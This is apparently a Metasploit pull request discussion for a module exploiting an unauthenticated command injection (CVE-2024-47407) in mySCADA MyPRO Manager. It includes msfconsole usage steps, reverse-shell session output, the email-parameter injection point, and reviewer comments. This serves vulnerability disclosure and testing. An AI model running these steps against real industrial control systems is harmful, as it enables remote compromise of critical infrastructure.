mySCADA MyPRO Manager Command Injection (CVE-2024-47407) Module

[h4x-x0r]

This is a new module which exploits an unauthenticated command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).

Successful exploitation allows to inject arbitrary OS commands which will get executed in the context of myscada9, an administrative user that is automatically added by the product during installation.

Verification Steps

1. Install the application from the vendor.
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
3. Run Metasploit:

• Start msfconsole and enter the following commands
• use exploit/windows/scada/mypro_mgr_cmd
• set RHOSTS <IP> (e.g., set RHOSTS 192.168.1.239)
• exploit

This should result in a meterpreter session:

msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit 

[*] Started reverse TCP handler on 192.168.1.227:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (201798 bytes) to 192.168.1.228
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
[*] Exploit finished, check thy shell.

meterpreter > getuid 
Server username: asdf\myscada9
meterpreter > sysinfo 
Computer        : asdf
OS              : Windows 11 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x64/windows

Successfully tested on

Tested in the following deployment, with both the curl and certutil fetch commands:

• MyPRO Manager v1.2 on Windows 11 (10.0 Build 22621)

[cgranleese-r7]

Do we require the request to be wrapped in a rescue here?

Suggested change

	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError

[h4x-x0r]

I think I saw this pattern being used in some other modules. Which other way would you prefer?

[dledda-r7]

Adding some notes regarding the testing, so far I was not able to get the software running properly. I have tested that on

• Windows 11 24H2 x64 on VMWare
• Windows 11 23H2 x64 on Hyper V
• Windows 10 10.0.19045.5131 x64 on VMWare

So far the issue I have is the same across all the systems, once the software is installed, after rebooting, the MySCADA MyPRO Manager download the runtime, but the runtime never get executed, there is no way to get it running for some reason.

[msutovsky-r7]

Is there a lower bound of vulnerable software version?

[h4x-x0r]

As far as I am aware, no.

[msutovsky-r7]

Release Notes

A module for mySCADA myPRO Manager exploiting command injection (CVE-2024-47407) in email parameter.